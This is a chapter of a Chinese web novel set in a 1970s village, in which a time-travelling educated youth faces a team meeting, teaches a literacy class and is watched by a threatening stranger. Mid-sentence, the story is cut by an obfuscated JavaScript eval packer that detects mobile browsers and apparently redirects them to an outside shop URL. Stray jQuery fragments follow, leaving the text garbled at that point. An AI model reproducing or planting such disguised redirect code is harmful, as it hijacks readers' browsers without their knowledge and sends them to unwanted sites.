清晨的雾气还没散尽，晒谷场上已经黑压压站满了人。
全村男女老少，只要还能走动的，都来了。今天是一月一次的生产队全体大会，要公布上个月的工分决算，安排下个月的生产任务，还要进行政治学习。
林晚照站在知青队伍里，目光扫过人群。她看见陈铁柱站在碾谷子的石碾上，手里拿着个铁皮喇叭，正和几个队干部低声商量着什么。孙瘸子缩在人群最外围的角落里，拄着拐杖，低眉顺眼，像个再普通不过的老农。李国华不在——他昨天已经回公社了，但林晚照知道，他的眼线还在。
王晓芬紧挨着她站着，小声说：“晚照，我有点紧张。”
“紧张什么？”林晚照侧头看她。
“我……我怕我家工分不够。”王晓芬咬着嘴唇，“我爸来信说，家里等钱用。”
这话半真半假。林晚照想起那封信的内容，心里涌起复杂的情绪。王晓芬确实需要钱，但她父亲让她做的事，远比挣工分危险。
“开始了。”旁边的李秀英提醒。
陈铁柱举起喇叭，清了清嗓子：“安静！现在开会！”
嘈杂的人声渐渐平息，只剩风吹过晒谷场边老槐树桩的“呜呜”声——那树桩还在，三十八年了还没烂透。
“第一项，公布十月份工分决算。”陈铁柱翻开手里的小本子，“全队总工分十一万八千七百四十二分，决算单价八分三厘，比上年涨了三厘！”
底下响起一阵兴奋的议论声。工分单价上涨，意味着同样的劳动能换更多钱。
“别高兴太早。”陈铁柱泼了盆冷水，“粮价也涨了，算下来跟去年差不多。现在念个人工分，念到名字的上来领钱。”
会计开始点名，一个接一个的社员上前，按手印，领走薄薄的一叠毛票。大多数人脸上都是麻木的——辛辛苦苦干一个月，到手的钱勉强够买盐买油，稍微添置点东西就得借钱。
轮到知青时，林晚照听到自己的名字：“林晚照，总工分一百九十七分，应得十六块三毛五，扣除口粮菜金十二块八，实发三块五毛五。”
三块五毛五。
她在心里算了一下，按这个速度，一年下来能攒四十块钱。除去必要开支，能存下二十块就不错了。这点钱，别说为高考做准备，连买身像样的衣服都不够。
“晚照，你好厉害！”王晓芬领完钱回来，羡慕地说，“我才两块一毛二。”
“你干活比我慢，慢慢就好了。”林晚照安慰她，同时注意着王晓芬的表情——那种羡慕是真实的，不像是演戏。
或许，这个女孩真的不知道父亲信里的含义。她只是照做，就像小时候听父母的话一样。
工分发完，陈铁柱开始讲下个月的生产任务：“十一月主要三件事：一是冬小麦播种，二是修水渠扫尾，三是准备冬季积肥。男劳力……”
他分配得很仔细，谁家负责哪块地，哪天完成，都说得清清楚楚。林晚照一边听，一边用弹幕系统扫描全场。
【前排左三穿蓝褂妇女：焦虑值65%，家中病儿需钱买药】
【中间戴毡帽老汉：对陈铁柱分配不满，认为自家地分得不好】
【后排两个年轻后生：盘算晚上去邻村偷鸡】
都是些鸡毛蒜皮的信息。但当她扫到孙瘸子时，弹幕突然变了：
【孙明远（孙瘸子）：高度警惕状态，注意右侧穿灰衣男子】
【灰衣男子：身份不明，右袖口有暗色污渍（疑似血迹），腰间藏有短棍】
林晚照心头一紧，顺着提示看向孙瘸子右侧。果然有个穿灰色中山装的男人，四十多岁，面生，不是本村人。他站在人群边缘，看似随意，但眼神锐利，时不时扫过陈铁柱和林晚照的方向。
李国华的人。
她不动声色地收回目光，心里却翻江倒海。监视已经这么明目张胆了？
“政治学习时间！”陈铁柱宣布下一项，“学习最新指示：‘深挖洞，广积粮，不称霸’！”
这是1970年代初的著名口号。社员们显然听惯了，一个个站得笔直，表情严肃，但眼神飘忽，心思早飞到了别处。
只有那些知青们还认真听着——这是表现政治觉悟的机会。
学习结束后，陈铁柱又说：“还有件事。公社通知，要搞冬季扫盲班，晚上七点到九点，在队部上课。自愿报名，但……知青必须参加。”
底下响起几声哀叹。累了一天，晚上还要上课，谁都打怵。
“林晚照。”陈铁柱突然点名，“你文化程度高，负责教妇女班。”
“我？”林晚照一愣。
“对，就是你。”陈铁柱看着她，“有问题吗？”
“……没有。”
“那就这么定了。散会！”
人群像开闸的水，哗啦啦散开。林晚照刚要离开，陈铁柱走过来：“林同志，留一下，跟你说说扫盲班的事。”
等人都走远了，陈铁柱压低声音：“刚才那个人，看见了吗？”
“灰衣服那个？”
“嗯。”陈铁柱点头，“李国华留下的。不止他一个，村里至少还有三个生面孔。”
“他们想干什么？”
“不知道，但肯定不是好事。”陈铁柱说，“扫盲班是个机会，晚上队部人多眼杂，我们可以趁乱碰头。孙老晚上也会来，他识字，可以当‘学员’。”
这个安排很巧妙。扫盲班是集体活动，没人会怀疑。
“王晓芬呢？”林晚照问，“她父亲……”
“我知道。”陈铁柱打断她，“孙老昨天告诉我了。先别打草惊蛇，该怎样还怎样，但要小心她听到什么。”
“好。”
两人分开后，林晚照往知青点走。路过村口的老槐树桩时，她停下脚步，伸手摸了摸那粗糙的断面。
三十八年了，这棵树见证了多少秘密？
“你也对这树桩感兴趣？”
一个声音突然在身后响起。林晚照转身，看见那个灰衣男人不知何时跟了上来，正笑眯眯地看着她。
“随便看看。”她保持镇定。
“听说这树底下埋过东西。”灰衣男人走近几步，“你不好奇是什么吗？”
“老辈人的传说，有什么好奇的。”
“是吗？”灰衣男人盯着她，“可我听说，你最近常打听这树的事。”
林晚照的心跳加速，但面上平静：“我就是好奇，随便问问。”
“随便问问……”灰衣男人重复着，突然伸手，“手腕上戴的什么？挺好看。”
他的动作很快，但林晚照更快，一缩手避开了：“就是普通镯子。”
“让我看看。”灰衣男人的笑容冷了下来，“说不定我认识。”
“没必要。”林晚照后退一步，“我要回去做饭了。”
她转身要走，灰衣男人却拦住去路：“别急着走嘛。李主任让我多关照你，说你一个城里来的女娃娃，在乡下不容易。”
这话听着像关心，实则威胁。
“谢谢李主任关心。”林晚照不卑不亢，“但我能照顾好自己。”
两人对视。灰衣男人的眼神像刀子，林晚照毫不退缩地迎上去。
僵持了几秒，灰衣男人突然笑了：“行，那你忙。不过林同志，有句话我得提醒你——这乡下不比城里，有些事，不知道比知道好。”
这话陈大山也说过。
林晚照点头：“我记住了。”
看着灰衣男人离开的背影，她才发现自己手心全是汗。刚才那一瞬间，她真以为对方要动手。
回到知青点，王晓芬正在灶台前忙活。见林晚照回来，她高兴地说：“晚照，今天轮到我做饭，我做了玉米面糊糊，还放了点野菜！”
“辛苦了。”林晚照洗了手帮忙。
吃饭时，她状似无意地问：“晓芬，你父亲来信说，让你有事找李副主任？”
王晓芬的勺子“哐当”一声掉进碗里。
“你、你怎么知道？”
“你枕头下的信，我不小心看到了。”林晚照实话实说，“对不起，我不是故意的。”
王晓芬的脸涨得通红，眼睛一下子湿了：“晚照，我……我不是故意瞒你的。我爸说，李副主任是他老朋友，让我有事就找他帮忙。但我什么都没说，真的！”
看她急得快哭了，林晚照相信她说的是实话。
“别哭，我没怪你。”她拍拍王晓芬的肩，“就是提醒你，李副主任那个人……不简单。你父亲让你找他，可能不知道他是什么样的人。”
“什么意思？”
“我也说不清楚。”林晚照斟酌着词句，“但你看，他一来就查这查那，还留人在村里监视。这种人，咱们最好离远点。”
王晓芬咬着嘴唇，点头：“嗯，我听你的。”
晚饭后，扫盲班第一次开课。
队部里挤满了人，大多是妇女和半大孩子，也有几个年轻后生凑热闹。煤油灯点了三盏，墙上挂着块小黑板，粉笔是从学校借来的。
林晚照站在黑板前，深吸一口气。她前世做过家教，教课不陌生，但面对这么多双眼睛，还是有点紧张。
“今天我们先学最常用的字。”她在黑板上写下“人”、“口”、“手”、“田”。
“人，就是我们自己。口，用来吃饭说话。手，用来劳动。田，我们种粮食的地方。”
她教得认真，底下的人也学得认真。这个年代的农民，很多人一辈子不识字，能学几个字是难得的机会。
孙瘸子坐在最后一排的角落里，低着头，像个害羞的老头。但林晚照注意到，他其实在认真听，手指还在膝盖上比划着。
课间休息时，陈铁柱进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854263|191601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来送开水。他借着倒水的机会，低声对林晚照说：“祠堂，子时。”
林晚照几不可察地点头。
第二节课教数字和简单计算。当林晚照讲到“工分怎么算”时，底下的人格外专注——这关系到他们的切身利益。
“比如你一天挣八个工分，一个月干二十五天，就是两百个工分。一个工分八分三厘，两百个工分就是……”
她在黑板上列算式，底下有人跟着算，有人挠头。
突然，队部的门被推开了。
灰衣男人走进来，身后跟着两个陌生人。三人站在门口，也不说话，就那么看着。
课堂气氛一下子凝固了。
林晚照停下板书：“同志，有事吗？”
“没事，就是看看。”灰衣男人笑了，“扫盲班办得好啊，提高群众文化水平。你们继续。”
话虽这么说，三人却没走，就站在门口盯着。
林晚照知道，这是赤裸裸的监视。她定了定神，继续讲课，但能感觉到，底下的学员都紧张起来，没人敢大声说话。
好不容易熬到九点下课，人们像逃难似的匆匆离开。
林晚照收拾教具时，灰衣男人走过来：“林老师教得不错。”
“过奖了。”
“不过……”灰衣男人压低声音，“我听说，老槐树下埋的东西，有人最近在找。林老师知道是谁吗？”
来了。正题。
林晚照抬头看他：“我不知道你在说什么。”
“是吗？”灰衣男人从怀里掏出个小本子，翻开，“十月二十八日，你向刘老太爷打听老槐树。十月三十日，你在仓库‘捡到’铁片。十一月二日夜，你和陈铁柱去祠堂。十一月三日夜，你们又去了仓库……”
他一桩桩说着，时间、地点、人物，全对得上。
林晚照的后背渗出冷汗。他们的一举一动，全在监视之下。
“我们在找陈启明烈士的遗物。”她突然说。
灰衣男人愣住了。
“陈启明，1937年为保护国家技术资料牺牲。”林晚照盯着他，“他的后人委托我，找回家人遗物。这有问题吗？”
这个理由她早就想好了。既然对方知道她在找东西，不如大方承认，但换个说法。
灰衣男人眯起眼：“烈士遗物？什么遗物？”
“一些私人物品，书信、照片之类的。”林晚照说，“陈启明烈士牺牲前，把东西藏在这里，只有后人凭信物才能取回。”
“信物？”
林晚照举起手腕，露出银镯：“就是这个。陈启明烈士留给妻子的凭证。”
灰衣男人盯着镯子看了很久，突然笑了：“林同志真会说话。不过你说得对，烈士遗物确实应该归还后人。这样吧，你把东西找齐，交给我，我替你转交。”
“不必了。”林晚照收回手，“我要亲手交给陈家人。”
两人的目光在空中交锋。
“行。”灰衣男人最终让步，“那你慢慢找。不过林同志，找东西可以，但别找不该找的。有些东西，找到了是祸不是福。”
“我明白。”
灰衣男人走了。林晚照站在空荡荡的队部里，腿有些发软。
刚才那一番交锋，看似她占了上风，但实际上对方已经明确警告：他们知道一切，只是暂时不动手。
她在等什么？等他们找到所有东西？
林晚照收拾好东西，吹灭煤油灯，走出队部。夜色中的山村静悄悄的，只有远处偶尔传来几声狗吠。
她抬头看天，月亮被云层遮住，星光暗淡。
离子时还有两个时辰。她需要去祠堂见陈铁柱和孙瘸子，商量对策。
但刚走出不远，她就感觉到有人在跟踪。
不是灰衣男人，是另一个人——脚步很轻，但确实在身后。
林晚照加快脚步，那人也加快。她拐进小巷，那人也拐进来。
就在她准备喊人时，一个声音在身后响起：
“别怕，是我。”
王晓芬从阴影里走出来，脸色苍白。
“晓芬？你怎么……”
“晚照，对不起。”王晓芬的眼泪掉下来，“刚才那个人……他找过我了。他说，如果我不把听到的告诉你，就……就让我家倒霉。”
林晚照的心沉了下去。
“他让你告诉我什么？”
“他说……”王晓芬哽咽着，“他说他知道你和陈队长在找东西。如果三天内不交出来，就……就举报你们‘盗窃国家文物’。”
月光从云层缝隙漏下来，照在两个女孩脸上。
一个满脸泪痕，一个神色凝重。
“他还说，”王晓芬的声音低得几乎听不见，“他知道你不是原来的林晚照。”
这句话，像一道惊雷，劈碎了夜晚的宁静。